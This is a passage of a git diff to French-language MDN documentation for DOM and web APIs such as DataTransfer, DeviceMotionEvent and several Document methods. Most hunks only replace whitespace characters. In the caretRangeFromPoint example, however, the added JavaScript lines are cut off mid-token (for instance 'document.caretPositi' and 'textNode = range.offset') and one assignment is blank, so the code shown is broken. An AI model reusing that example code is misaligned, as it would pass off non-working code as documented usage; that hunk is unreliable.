glisser en appuyant sur la touche échappe. Elle est positionnée à `false` dans les autres cas, y compris si le glisser a échoué pour toute autre raison, par exemple en raison d'un déposer sur un emplacement non valide. Cette propriété n'est pas encore implémenté sous Linux. +Cette propriété s'applique uniquement à l'événement `dragend`, et est positionnée à `true` si l'utilisateur a annulé le glisser en appuyant sur la touche échappe. Elle est positionnée à `false` dans les autres cas, y compris si le glisser a échoué pour toute autre raison, par exemple en raison d'un déposer sur un emplacement non valide. Cette propriété n'est pas encore implémenté sous Linux. -> **Note :** Cette propriété est spécifique a Gecko. +> **Note :** Cette propriété est spécifique a Gecko. ## Methods ### addElement() -Spécifie la source du glisser. Ceci est rarement utilisé, mais a pour effet de modifier la cible des événements `drag` et `dragend`. La cible par défaut est le nœud qui est glissé. +Spécifie la source du glisser. Ceci est rarement utilisé, mais a pour effet de modifier la cible des événements `drag` et `dragend`. La cible par défaut est le nœud qui est glissé. void addElement( in Element element @@ -286,7 +286,7 @@ Spécifie la source du glisser. Ceci est rarement utilisé, mais a pour effet ### clearData() -Supprime les données associées au type spécifié. L'argument type est facultatif. Si le type est vide ou non spécifié, les données associées à tous les types sont supprimées. Si les données pour le type spécifié n'existent pas, ou le transfert de données ne contient pas de données, cette méthode n'aura aucun effet. +Supprime les données associées au type spécifié. L'argument type est facultatif. Si le type est vide ou non spécifié, les données associées à tous les types sont supprimées. Si les données pour le type spécifié n'existent pas, ou le transfert de données ne contient pas de données, cette méthode n'aura aucun effet. void clearData( [optional] in String type @@ -299,9 +299,9 @@ Supprime les données associées au type spécifié. L'argument type est facult ### getData() -Récupère les données du type spécifié, ou une chaîne vide si les données de ce type n'existe pas ou le transfert de données ne contient aucune donnée. +Récupère les données du type spécifié, ou une chaîne vide si les données de ce type n'existe pas ou le transfert de données ne contient aucune donnée. -Une erreur de sécurité se produira si vous tentez de récupérer des données lors d'un glisser qui a été spécifié à partir d'un domaine différent ou auquel l'appelant n'a pas accès. Ces données ne seront disponibles qu'à l'issue du déposer au cours d'un événement drop. +Une erreur de sécurité se produira si vous tentez de récupérer des données lors d'un glisser qui a été spécifié à partir d'un domaine différent ou auquel l'appelant n'a pas accès. Ces données ne seront disponibles qu'à l'issue du déposer au cours d'un événement drop. void getData( in String type @@ -314,7 +314,7 @@ Une erreur de sécurité se produira si vous tentez de récupérer des données ### setData() -Définit une donnée pour le type spécifié. Si des données pour le type n'existe pas, elle est ajoutée à la fin, de telle sorte que le dernier élément dans la liste des types sera le nouveau format. Si une donnée pour le type existe déjà, la donnée existante est remplacée à la même position. C'est-à-dire que l'ordre de la liste des types ne change pas lors du remplacement de la donnée d'un même type. +Définit une donnée pour le type spécifié. Si des données pour le type n'existe pas, elle est ajoutée à la fin, de telle sorte que le dernier élément dans la liste des types sera le nouveau format. Si une donnée pour le type existe déjà, la donnée existante est remplacée à la même position. C'est-à-dire que l'ordre de la liste des types ne change pas lors du remplacement de la donnée d'un même type. void setData( in String type, @@ -330,11 +330,11 @@ Définit une donnée pour le type spécifié. Si des données pour le type n'e ### setDragImage() -Définit l'image à utiliser pour un glisser, si une image personnalisée est souhaitée. Cette méthode est rarement utilisée, dans la mesure oú une image par défaut est créée à partir du nœud glissé. +Définit l'image à utiliser pour un glisser, si une image personnalisée est souhaitée. Cette méthode est rarement utilisée, dans la mesure oú une image par défaut est créée à partir du nœud glissé. -Si le nœud est un élément HTML img, un élément canvas HTML ou un élément d'image XUL, la donnée image est utilisée. Sinon, l'image doit être un nœud visible et l'image utilisée pendant le glisser est créée à partir de ce noeud. Si l'image est null, toute image personnalisé est effacée et la valeur par défaut est utilisée à la place. +Si le nœud est un élément HTML img, un élément canvas HTML ou un élément d'image XUL, la donnée image est utilisée. Sinon, l'image doit être un nœud visible et l'image utilisée pendant le glisser est créée à partir de ce noeud. Si l'image est null, toute image personnalisé est effacée et la valeur par défaut est utilisée à la place. -Les coordonnées spécifient le décalage à l'intérieur de l'image spécifiant la position du curseur de la souris. Pour centrer l'image, par exemple, utiliser des valeurs qui sont la moitié de la largeur et de la hauteur de l'image. +Les coordonnées spécifient le décalage à l'intérieur de l'image spécifiant la position du curseur de la souris. Pour centrer l'image, par exemple, utiliser des valeurs qui sont la moitié de la largeur et de la hauteur de l'image. void setDragImage( in Element image, @@ -353,15 +353,15 @@ Les coordonnées spécifient le décalage à l'intérieur de l'image spécifia ### mozClearDataAt() -Supprime les données associées au format pour un élément à l'index spécifié. L'index est compris entre zéro et le nombre d'éléments moins un. +Supprime les données associées au format pour un élément à l'index spécifié. L'index est compris entre zéro et le nombre d'éléments moins un. Si le dernier format de l'élément est supprimé, l'élément entier est retiré, réduisant `mozItemCount` par un. -Si la liste `format` est vide, alors les données associées à tous les formats sont supprimées. Si le format n'est pas trouvé, alors cette méthode n'a aucun effet. +Si la liste `format` est vide, alors les données associées à tous les formats sont supprimées. Si le format n'est pas trouvé, alors cette méthode n'a aucun effet. -> **Note :** Cette méthode est spécifique à Gecko. +> **Note :** Cette méthode est spécifique à Gecko. void mozClearDataAt( [optional] in String type, @@ -377,9 +377,9 @@ Si la liste `format` est vide, alors les données associées à tous les format ### mozGetDataAt() -Récupère les données associées au format donné pour un élément à l'index spécifié, ou null si elle n'existe pas. L'indice devrait être compris entre zéro et le nombre d'éléments moins un. +Récupère les données associées au format donné pour un élément à l'index spécifié, ou null si elle n'existe pas. L'indice devrait être compris entre zéro et le nombre d'éléments moins un. -> **Note :** Cette méthode est spécifique à Gecko. +> **Note :** Cette méthode est spécifique à Gecko. nsIVariant mozGetDataAt( [optional] in String type, @@ -395,11 +395,11 @@ Récupère les données associées au format donné pour un élément à l'index ### mozSetDataAt() -Un transfert de données peut stocker plusieurs éléments, chacun à un index commençant à zéro. ` mozSetDataAt(``) ` ne peut être appelé qu'avec un index inférieur à `mozItemCount,` auquel cas un élément existant est modifié, ou égal à `mozItemCount,` auquel cas un nouvel élément est ajouté, et `mozItemCount` est incrémenté de un. +Un transfert de données peut stocker plusieurs éléments, chacun à un index commençant à zéro. ` mozSetDataAt(``) ` ne peut être appelé qu'avec un index inférieur à `mozItemCount,` auquel cas un élément existant est modifié, ou égal à `mozItemCount,` auquel cas un nouvel élément est ajouté, et `mozItemCount` est incrémenté de un. -Les données doivent être ajoutées par ordre de préférence, avec le format le plus spécifique ajouté en premier et le format moins spécifique ajouté en dernier. Si la donnée du format spécifié existe déjà, elle est remplacée dans la même position que la donnée précédente. +Les données doivent être ajoutées par ordre de préférence, avec le format le plus spécifique ajouté en premier et le format moins spécifique ajouté en dernier. Si la donnée du format spécifié existe déjà, elle est remplacée dans la même position que la donnée précédente. -La donnée doit être une chaîne, ou un type primitif booléen, ou un type numérique (qui sera converti en une chaîne), ou une [nsISupports](/fr/docs/XPCOM_Interface_Reference/nsISupports). +La donnée doit être une chaîne, ou un type primitif booléen, ou un type numérique (qui sera converti en une chaîne), ou une [nsISupports](/fr/docs/XPCOM_Interface_Reference/nsISupports). > **Note :** Cette méthode est spécifique à Gecko. @@ -420,7 +420,7 @@ La donnée doit être une chaîne, ou un type primitif booléen, ou un type n ### mozTypesAt() -Contient une liste des types de format des données qui sont stockées pour un élément à l'index spécifié. Si l'index n'est pas dans compris entre 0 et le nombre d'éléments moins un, une liste de chaîne vide est retournée. +Contient une liste des types de format des données qui sont stockées pour un élément à l'index spécifié. Si l'index n'est pas dans compris entre 0 et le nombre d'éléments moins un, une liste de chaîne vide est retournée. > **Note :** Cette méthode est spécifique à Gecko. diff --git a/files/fr/web/api/dedicatedworkerglobalscope/index.md b/files/fr/web/api/dedicatedworkerglobalscope/index.md index 6f8edf15bd..d0be63d3e4 100644 --- a/files/fr/web/api/dedicatedworkerglobalscope/index.md +++ b/files/fr/web/api/dedicatedworkerglobalscope/index.md @@ -5,14 +5,14 @@ translation_of: Web/API/DedicatedWorkerGlobalScope --- {{APIRef("Web Workers API")}} -L'objet **`DedicatedWorkerGlobalScope`** (le contexte global du {{domxref("Worker")}}) est accessible au moyen du mot clé {{domxref("window.self","self")}}. Certaines fonctions globales additionnelles, des espaces de nom d'objets, et des constructeurs, non associés typiquement au contexte global d'un worker, et néanmoins disponibles, sont listés dans la [Référence JavaScript](/fr/docs/Web/JavaScript/Reference). Consultez aussi : [Fonctions et classes disponibles dans les Web Workers](/fr/docs/Web/Guide/Needs_categorization/Functions_available_to_workers). +L'objet **`DedicatedWorkerGlobalScope`** (le contexte global du {{domxref("Worker")}}) est accessible au moyen du mot clé {{domxref("window.self","self")}}. Certaines fonctions globales additionnelles, des espaces de nom d'objets, et des constructeurs, non associés typiquement au contexte global d'un worker, et néanmoins disponibles, sont listés dans la [Référence JavaScript](/fr/docs/Web/JavaScript/Reference). Consultez aussi : [Fonctions et classes disponibles dans les Web Workers](/fr/docs/Web/Guide/Needs_categorization/Functions_available_to_workers). ## Propriétés _Cette interface hérite des propriétés de l'interface {{domxref("WorkerGlobalScope")}}, et de son parent {{domxref("EventTarget")}}, et implémente ainsi les propriétés de {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, et {{domxref("WindowEventHandlers")}}._ - {{domxref("DedicatedWorkerGlobalScope.name")}} {{readOnlyinline}} - - : Le nom du {{domxref("Worker")}} optionnellement donné lors de la création du worker avec le constructeur {{domxref("Worker.Worker", "Worker()")}}. Il est souvent utilisé pour du débogage. + - : Le nom du {{domxref("Worker")}} optionnellement donné lors de la création du worker avec le constructeur {{domxref("Worker.Worker", "Worker()")}}. Il est souvent utilisé pour du débogage. ### Propriétés héritées de WorkerGlobalScope @@ -43,7 +43,7 @@ _Cette interface hérite des méthodes de l'interface {{domxref("WorkerGlobalSco - {{domxref("WorkerGlobalScope.close()")}} - : Annule toute tâche en attente dans la boucle d'événement du `WorkerGlobalScope`, mettant alors fin à ce contexte précis. - {{domxref("DedicatedWorkerGlobalScope.postMessage")}} - - : Envoie un message — qui peut comprendre `n'importe quel` objet JavaScript — au document parent qui a préalablement engendré le worker. + - : Envoie un message — qui peut comprendre `n'importe quel` objet JavaScript — au document parent qui a préalablement engendré le worker. ### Héritées de WorkerGlobalScope diff --git a/files/fr/web/api/dedicatedworkerglobalscope/name/index.md b/files/fr/web/api/dedicatedworkerglobalscope/name/index.md index 1082fed843..3eacb52494 100644 --- a/files/fr/web/api/dedicatedworkerglobalscope/name/index.md +++ b/files/fr/web/api/dedicatedworkerglobalscope/name/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/DedicatedWorkerGlobalScope/name --- {{APIRef("Web Workers API")}} -La propriété en lecture seule **`name`** de l'interface {{domxref("DedicatedWorkerGlobalScope")}} renvoie le nom qui a été (facultativement) donné au {{domxref("Worker")}} lors de sa création. C'est le nom que le constructeur {{domxref("Worker.Worker", "Worker()")}} peut transmettre pour obtenir une référence à {{domxref("DedicatedWorkerGlobalScope")}}. +La propriété en lecture seule **`name`** de l'interface {{domxref("DedicatedWorkerGlobalScope")}} renvoie le nom qui a été (facultativement) donné au {{domxref("Worker")}} lors de sa création. C'est le nom que le constructeur {{domxref("Worker.Worker", "Worker()")}} peut transmettre pour obtenir une référence à {{domxref("DedicatedWorkerGlobalScope")}}. ## Syntaxe @@ -41,7 +41,7 @@ self.name | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', '#dom-dedicatedworkerglobalscope-name', 'name')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', '#dom-dedicatedworkerglobalscope-name', 'name')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/devicemotionevent/accelerationincludinggravity/index.md b/files/fr/web/api/devicemotionevent/accelerationincludinggravity/index.md index b2ac98e787..40d3950896 100644 --- a/files/fr/web/api/devicemotionevent/accelerationincludinggravity/index.md +++ b/files/fr/web/api/devicemotionevent/accelerationincludinggravity/index.md @@ -13,9 +13,9 @@ translation_of: Web/API/DeviceMotionEvent/accelerationIncludingGravity --- {{ ApiRef("Device Orientation Events") }} -La propriété **`accelerationIncludingGravity`** renvoie la valeur d'accélération enregistrée par l'appareil, en [mètres par seconde au carré (m/s<sup>2</sup>)](https://fr.wikipedia.org/wiki/M%C3%A8tre_par_seconde_carr%C3%A9e). Contrairement à {{domxref("DeviceMotionEvent.acceleration")}} qui compense pour tenir compte de l'influence de la gravité, sa valeur est la somme de l'accélération de l'appareil induite par l'utilisateur et de celle provoquée par la gravité. +La propriété **`accelerationIncludingGravity`** renvoie la valeur d'accélération enregistrée par l'appareil, en [mètres par seconde au carré (m/s<sup>2</sup>)](https://fr.wikipedia.org/wiki/M%C3%A8tre_par_seconde_carr%C3%A9e). Contrairement à {{domxref("DeviceMotionEvent.acceleration")}} qui compense pour tenir compte de l'influence de la gravité, sa valeur est la somme de l'accélération de l'appareil induite par l'utilisateur et de celle provoquée par la gravité. -Cette valeur n'est pas aussi utile que {{domxref("DeviceMotionEvent.acceleration")}}, mais elle peut être la seule disponible, par exemple pour un appareil qui ne peut supprimer la gravité des données d'accélération puisqu'il ne l'utilise pas, comme les périphériques sans gyroscope. +Cette valeur n'est pas aussi utile que {{domxref("DeviceMotionEvent.acceleration")}}, mais elle peut être la seule disponible, par exemple pour un appareil qui ne peut supprimer la gravité des données d'accélération puisqu'il ne l'utilise pas, comme les périphériques sans gyroscope. ## Syntaxe diff --git a/files/fr/web/api/devicemotionevent/devicemotionevent/index.md b/files/fr/web/api/devicemotionevent/devicemotionevent/index.md index b72ca21c2d..ac1a931119 100644 --- a/files/fr/web/api/devicemotionevent/devicemotionevent/index.md +++ b/files/fr/web/api/devicemotionevent/devicemotionevent/index.md @@ -26,7 +26,7 @@ Le constructeur **`DeviceMotionEvent`** crée un nouveau {{domxref("DeviceMotion - : Les options sont les suivantes : - - `acceleration` : un objet donnant l'accélération de l'appareil sur les 3 axes X, Y et Z. L'accélération est exprimée en [m/s<sup>2</sup>](https://en.wikipedia.org/wiki/Meter_per_second_squared) + - `acceleration` : un objet donnant l'accélération de l'appareil sur les 3 axes X, Y et Z. L'accélération est exprimée en [m/s<sup>2</sup>](https://en.wikipedia.org/wiki/Meter_per_second_squared) <sup>2</sup> diff --git a/files/fr/web/api/devicemotionevent/index.md b/files/fr/web/api/devicemotionevent/index.md index f23131a75f..37cf4ab26b 100644 --- a/files/fr/web/api/devicemotionevent/index.md +++ b/files/fr/web/api/devicemotionevent/index.md @@ -40,7 +40,7 @@ translation_of: Web/API/DeviceMotionEvent ```js window.addEventListener('devicemotion', function(event) { - console.log(event.acceleration.x + ' m/s2'); + console.log(event.acceleration.x + ' m/s2'); }); ``` diff --git a/files/fr/web/api/devicemotionevent/interval/index.md b/files/fr/web/api/devicemotionevent/interval/index.md index 80f4374fac..4d69fc0266 100644 --- a/files/fr/web/api/devicemotionevent/interval/index.md +++ b/files/fr/web/api/devicemotionevent/interval/index.md @@ -19,7 +19,7 @@ La propriété **`interval`** renvoie la granularité temporelle, exprimée en m | Spécification | État | Commentaires | | -------------------------------------------- | ---------------------------------------- | ------------ | -| {{SpecName('Device Orientation')}} | {{Spec2('Device Orientation')}} | | +| {{SpecName('Device Orientation')}} | {{Spec2('Device Orientation')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/deviceorientationevent/absolute/index.md b/files/fr/web/api/deviceorientationevent/absolute/index.md index 6fead5a4c6..aee893522d 100644 --- a/files/fr/web/api/deviceorientationevent/absolute/index.md +++ b/files/fr/web/api/deviceorientationevent/absolute/index.md @@ -6,7 +6,7 @@ original_slug: Web/API/DeviceOrientationEvent.absolute --- {{ ApiRef() }} -Indique si l'appareil partage des données en référentiel absolut c'est à dire sur avec des cordonnées issu du référentiel terrestre, ou si il partage des données utilisant un référentiel arbitraire déterminé par l'appareil. Voir [Orientation et mouvement expliqué](/en/DOM/Orientation_and_motion_data_explained) pour plus de détails. +Indique si l'appareil partage des données en référentiel absolut c'est à dire sur avec des cordonnées issu du référentiel terrestre, ou si il partage des données utilisant un référentiel arbitraire déterminé par l'appareil. Voir [Orientation et mouvement expliqué](/en/DOM/Orientation_and_motion_data_explained) pour plus de détails. ## Syntaxe diff --git a/files/fr/web/api/deviceorientationevent/index.md b/files/fr/web/api/deviceorientationevent/index.md index 4c0b77dcab..96f5cf3108 100644 --- a/files/fr/web/api/deviceorientationevent/index.md +++ b/files/fr/web/api/deviceorientationevent/index.md @@ -36,7 +36,7 @@ L'évènement `DeviceOrientationEvent` met à la disposition du développeur des ```js window.addEventListener('deviceorientation', function(event) { - console.log("z : " + event.alpha + "\n x : " + event.beta + "\n y : " + event.gamma); + console.log("z : " + event.alpha + "\n x : " + event.beta + "\n y : " + event.gamma); }); ``` diff --git a/files/fr/web/api/document/adoptnode/index.md b/files/fr/web/api/document/adoptnode/index.md index c96fba2151..11abff3fb4 100644 --- a/files/fr/web/api/document/adoptnode/index.md +++ b/files/fr/web/api/document/adoptnode/index.md @@ -21,7 +21,7 @@ Adopte un noeud. Le noeud (et son sous-arbre) est supprimé du document dans leq node = document.adoptNode(externalNode); - `node` - - : est le noeud adopté qui a maintenant ce document en tant que son [`ownerDocument`](/en-US/docs/DOM/Node.ownerDocument) (_document propriétaire_). Le [`parentNode`](/en-US/docs/DOM/Node.parentNode) du noeud est `null`, car il n'a pas encore été inséré dans l'arborescence du document. Notez que `node` et `externalNode` sont le même objet après cet appel. + - : est le noeud adopté qui a maintenant ce document en tant que son [`ownerDocument`](/en-US/docs/DOM/Node.ownerDocument) (_document propriétaire_). Le [`parentNode`](/en-US/docs/DOM/Node.parentNode) du noeud est `null`, car il n'a pas encore été inséré dans l'arborescence du document. Notez que `node` et `externalNode` sont le même objet après cet appel. - `externalNode` - : est le noeud à adopter existant dans un autre document. diff --git a/files/fr/web/api/document/alinkcolor/index.md b/files/fr/web/api/document/alinkcolor/index.md index 6962f0342e..11b4d50036 100644 --- a/files/fr/web/api/document/alinkcolor/index.md +++ b/files/fr/web/api/document/alinkcolor/index.md @@ -11,22 +11,22 @@ translation_of: Web/API/Document/alinkColor --- {{APIRef("DOM")}}{{Deprecated_header}} -Retourne ou définit la couleur d'un lien actif dans le corps du document. Un lien hypertexte est actif durant le temps entre les événements `mousedown` et `mouseup`. +Retourne ou définit la couleur d'un lien actif dans le corps du document. Un lien hypertexte est actif durant le temps entre les événements `mousedown` et `mouseup`. ## Syntaxe var color = document.alinkColor; document.alinkColor = color; -*color* est un echaîne de caractère contenant le nom de la couleur en anglais(exemple., `blue` pour bleu, `darkblue` pour bleu foncé, etc.) ou la valeur hexadécimal de la couleur (exemple, `#0000FF`) +*color* est un echaîne de caractère contenant le nom de la couleur en anglais(exemple., `blue` pour bleu, `darkblue` pour bleu foncé, etc.) ou la valeur hexadécimal de la couleur (exemple, `#0000FF`) ## Notes -La valeur par défaut pour cette propriété est rouge (`#ee000` en hexadécimal) sur Mozilla Firefox. +La valeur par défaut pour cette propriété est rouge (`#ee000` en hexadécimal) sur Mozilla Firefox. -`document.alinkColor` est obsolète dans [DOM Level 2 HTML](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268) (lien en anglais). Une alternative est le sélecteur CSS {{Cssxref(":active")}}. +`document.alinkColor` est obsolète dans [DOM Level 2 HTML](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268) (lien en anglais). Une alternative est le sélecteur CSS {{Cssxref(":active")}}. -Une autre alternative est `document.body.aLink`, même si elle est [obsolète dans HTML 4.01](http://www.w3.org/TR/html401/struct/global.html#adef-alink) (lien en anglais) en faveur de l'alternative CSS ci-dessus. +Une autre alternative est `document.body.aLink`, même si elle est [obsolète dans HTML 4.01](http://www.w3.org/TR/html401/struct/global.html#adef-alink) (lien en anglais) en faveur de l'alternative CSS ci-dessus. [Gecko](/fr/docs/Glossary/Gecko) supporte `alinkColor`/`:active` et [`:focus`](/fr/docs/Web/CSS/:focus). Internet Explorer 6 et 7 supportent `alinkColor`/`:active` seulement pour la [balise HTML des liens (`<a>`)](/fr/docs/Web/HTML/Element/a) et le comportement est le même que `:focus` sur Gecko. Il n'y a pas de support pour `:focus` dans IE. diff --git a/files/fr/web/api/document/anchors/index.md b/files/fr/web/api/document/anchors/index.md index dca923de8e..d023a61896 100644 --- a/files/fr/web/api/document/anchors/index.md +++ b/files/fr/web/api/document/anchors/index.md @@ -4,7 +4,7 @@ slug: Web/API/Document/anchors translation_of: Web/API/Document/anchors original_slug: Web/API/Document/Document.anchors --- -{{APIRef("DOM")}} {{deprecated_header()}} +{{APIRef("DOM")}} {{deprecated_header()}} `anchors` retourne une liste de toutes les ancres du document. @@ -21,7 +21,7 @@ if ( document.anchors.length >= 5 ) { } ``` -L'exemple suivant remplit un tableau avec chaque ancre présente sur la page : +L'exemple suivant remplit un tableau avec chaque ancre présente sur la page : ```html <!DOCTYPE html> @@ -73,7 +73,7 @@ function init() { ## Notes -Pour des raisons de rétrocompatibilité, la liste d'ancres retournée contient seulement les ancres créées avec l'attribut `name`, pas celles créées avec l'attribut `id`. +Pour des raisons de rétrocompatibilité, la liste d'ancres retournée contient seulement les ancres créées avec l'attribut `name`, pas celles créées avec l'attribut `id`. ## Spécification diff --git a/files/fr/web/api/document/bgcolor/index.md b/files/fr/web/api/document/bgcolor/index.md index 2969fbf7ed..3773488d4d 100644 --- a/files/fr/web/api/document/bgcolor/index.md +++ b/files/fr/web/api/document/bgcolor/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Document/bgColor --- {{APIRef("DOM")}} {{ Deprecated_header() }} -La propriété obsolète `bgColor` renvoie ou déinit la couleur de fond (background-color) du document courant. +La propriété obsolète `bgColor` renvoie ou déinit la couleur de fond (background-color) du document courant. ## Syntaxe @@ -22,9 +22,9 @@ La propriété obsolète `bgColor` renvoie ou déinit la couleur de fond (back ## Notes -La valeur par défaut pour cette propriété sur Firefox est le blanc (`#ffffff` en hexadécimal). +La valeur par défaut pour cette propriété sur Firefox est le blanc (`#ffffff` en hexadécimal). -`document.bgColor` est obsolète dans le [DOM Niveau 2 HTML](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). L'alternative recommandée est l'utilisation du style CSS {{Cssxref("background-color")}} qui peut être accessible via le DOM avec `document.body.style.backgroundColor`. Une autre alternative est `document.body.bgColor`, mais c'est aussi obsolète dans HTML 4.01 en faveur de l'alternative CSS. +`document.bgColor` est obsolète dans le [DOM Niveau 2 HTML](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268). L'alternative recommandée est l'utilisation du style CSS {{Cssxref("background-color")}} qui peut être accessible via le DOM avec `document.body.style.backgroundColor`. Une autre alternative est `document.body.bgColor`, mais c'est aussi obsolète dans HTML 4.01 en faveur de l'alternative CSS. ## Compatibilité des navigateurs diff --git a/files/fr/web/api/document/caretrangefrompoint/index.md b/files/fr/web/api/document/caretrangefrompoint/index.md index a9fd2392a8..5620723d03 100644 --- a/files/fr/web/api/document/caretrangefrompoint/index.md +++ b/files/fr/web/api/document/caretrangefrompoint/index.md @@ -45,32 +45,32 @@ Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit ame ```js function insertBreakAtPoint(e) { - var range; - var textNode; - var offset; - - if (document.caretPositionFromPoint) { - range = document.caretPositionFromPoint(e.clientX, e.clientY); - textNode = range.offsetNode; - offset = range.offset; - - } else if (document.caretRangeFromPoint) { - range = document.caretRangeFromPoint(e.clientX, e.clientY); - textNode = range.startContainer; - offset = range.startOffset; - } - - // divise seulement les TEXT_NODE (noeuds texte) - if (textNode && textNode.nodeType == 3) { - var replacement = textNode.splitText(offset); - var br = document.createElement('br'); - textNode.parentNode.insertBefore(br, replacement); - } + var range; + var textNode; + var offset; + + if (document.caretPositionFromPoint) { + range = document.caretPositi + textNode = range.offset + offset = range.offset; + + } else if (document.caretRangeFromPo + range = document.caretRange + + offset = range.startOffset; + } + + // divise seulement les TEXT_NODE (noeuds + if (textNode && textNode.nodeType == 3) { + var replacement = textNode.splitText(offset); + var br = document.createElement('br'); + textNode.parentNode.insertBefore(br, replacement); + } } var paragraphs = document.getElementsByTagName("p"); for (i=0 ; i < paragraphs.length; i++) { - paragraphs[i].addEventListener("click", insertBreakAtPoint, false); + paragraphs[i].addEventListener("click", insertBreakAtPoint, false); } ``` diff --git a/files/fr/web/api/document/clear/index.md b/files/fr/web/api/document/clear/index.md index e2ccc567e9..87e3d76c1b 100644 --- a/files/fr/web/api/document/clear/index.md +++ b/files/fr/web/api/document/clear/index.md @@ -17,7 +17,7 @@ translation_of: Web/API/Document/clear Cette méthode est utilisée pour effacer entièrement le document visé dans les anciennes versions (pre-1.0) de Mozilla. -Dans les versions récentes des applications basées sur Mozilla ainsi que sur Internet Explorer et Netscape 4, cette méthode ne fait rien. +Dans les versions récentes des applications basées sur Mozilla ainsi que sur Internet Explorer et Netscape 4, cette méthode ne fait rien. ## Syntaxe diff --git a/files/fr/web/api/document/compatmode/index.md b/files/fr/web/api/document/compatmode/index.md index e0a238c8fd..b0a0da7dfa 100644 --- a/files/fr/web/api/document/compatmode/index.md +++ b/files/fr/web/api/document/compatmode/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Document/compatMode --- {{ ApiRef("DOM") }} -Indique si le document est affiché en mode dégradé ([Quirks mode](/fr/docs/Mode_quirks_de_Mozilla)) ou dans le respect des standards. +Indique si le document est affiché en mode dégradé ([Quirks mode](/fr/docs/Mode_quirks_de_Mozilla)) ou dans le respect des standards. ## Syntaxe @@ -18,16 +18,16 @@ Indique si le document est affiché en mode dégradé ([Quirks mode](/fr/docs/Mo ## Valeurs -- `"BackCompat"` si le document est a ffiché en mode "quirks" ; +- `"BackCompat"` si le document est a ffiché en mode "quirks" ; <!----> - mode - - : est une valeur énumérée qui peut être : + - : est une valeur énumérée qui peut être : <!----> -- `"CSS1Compat"` si le document est affiché en mode "no-quirks" (aussi connu sous le nom de mode "standard") ou "limited-quirks" (mo de "proche du standard"). +- `"CSS1Compat"` si le document est affiché en mode "no-quirks" (aussi connu sous le nom de mode "standard") ou "limited-quirks" (mo de "proche du standard"). <!----> diff --git a/files/fr/web/api/document/contenttype/index.md b/files/fr/web/api/document/contenttype/index.md index 21309bbf71..6e1bcf036a 100644 --- a/files/fr/web/api/document/contenttype/index.md +++ b/files/fr/web/api/document/contenttype/index.md @@ -22,7 +22,7 @@ Renvoie le type MIME dans lequel le document est rendu. Il peut provenir d'en-t ## Notes -La propriété n'est pas affectée par les balises META. +La propriété n'est pas affectée par les balises META. ## Spécifications diff --git a/files/fr/web/api/document/createattribute/index.md b/files/fr/web/api/document/createattribute/index.md index 42bd4f5991..e7a3015206 100644 --- a/files/fr/web/api/document/createattribute/index.md +++ b/files/fr/web/api/document/createattribute/index.md @@ -28,7 +28,7 @@ Un nœud {{domxref("Attr")}}. ### Exceptions levées -- `INVALID_CHARACTER_ERR` si le paramètre contient un caractère invalide pour un attribut XML. +- `INVALID_CHARACTER_ERR` si le paramètre contient un caractère invalide pour un attribut XML. ## Exemples diff --git a/files/fr/web/api/document/createelement/index.md b/files/fr/web/api/document/createelement/index.md index 98fcfd0f37..791aae2d6f 100644 --- a/files/fr/web/api/document/createelement/index.md +++ b/files/fr/web/api/document/createelement/index.md @@ -83,7 +83,7 @@ class ExpandingList extends HTMLUListElement { customElements.define('expanding-list', ExpandingList, { extends: 'ul' }); ``` -Si nous cherchons à créer une instance de cet élément par programmation, nous devons utiliser un appel tel que montré dans la ligne suivante : +Si nous cherchons à créer une instance de cet élément par programmation, nous devons utiliser un appel tel que montré dans la ligne suivante : ```js let expandingList = document.createElement('ul', { is : 'expanding-list' }) @@ -97,7 +97,7 @@ Le nouvel élément donnera un attribut [`is`](/docs/Web/HTML/Global_attributes/ | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs @@ -114,4 +114,4 @@ Le nouvel élément donnera un attribut [`is`](/docs/Web/HTML/Global_attributes/ - {{domxref("Node.appendChild()")}} - {{domxref("Node.insertBefore()")}} - {{domxref("Node.hasChildNodes()")}} -- {{domxref("document.createElementNS()")}} — pour spécifier explicitement l’URI de l’espace de noms de l’élément. +- {{domxref("document.createElementNS()")}} — pour spécifier explicitement l’URI de l’espace de noms de l’élément. diff --git a/files/fr/web/api/document/createelementns/index.md b/files/fr/web/api/document/createelementns/index.md index d374570e70..5b543c6c3e 100644 --- a/files/fr/web/api/document/createelementns/index.md +++ b/files/fr/web/api/document/createelementns/index.md @@ -30,7 +30,7 @@ var element = document.createElementNS(namespaceURI, qualifiedName[, options]); - `qualifiedName` - : est une chaîne de caractères qui spécifie le type de l'élément à créer. La propriété [nodeName](/fr/docs/Web/API/Node/nodeName) de l'élément créé est initialisée avec la valeur de `qualifiedName` - `Options` {{Optional_Inline}} - - : Un objet facultatif `ElementCreationOptions` contient une propriété unique nommée `is`, dont la valeur est le nom de la balise pour un élément personnalisé défini précédemment à l'aide de `customElements.define()` . Pour la rétro-compatibilité avec les versions précédentes de la [spécification des éléments personnalisés](https://www.w3.org/TR/custom-elements/), quelques navigateurs vous permettront de passer ici une chaîne de caractères à la place d'un objet, pour laquelle la valeur est un nom d'élément personnalisé. Voir [Extending native HTML elements](https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml) pour plus d'informations sur la façon d'utiliser ce paramètre. Le nouvel élément recevra un attribut `is` dont la valeur est le nom de la balise de l'élément personnalisé. Les éléments personnalisés sont une fonctionnalité expérimentale disponible uniquement dans certains navigateurs. + - : Un objet facultatif `ElementCreationOptions` contient une 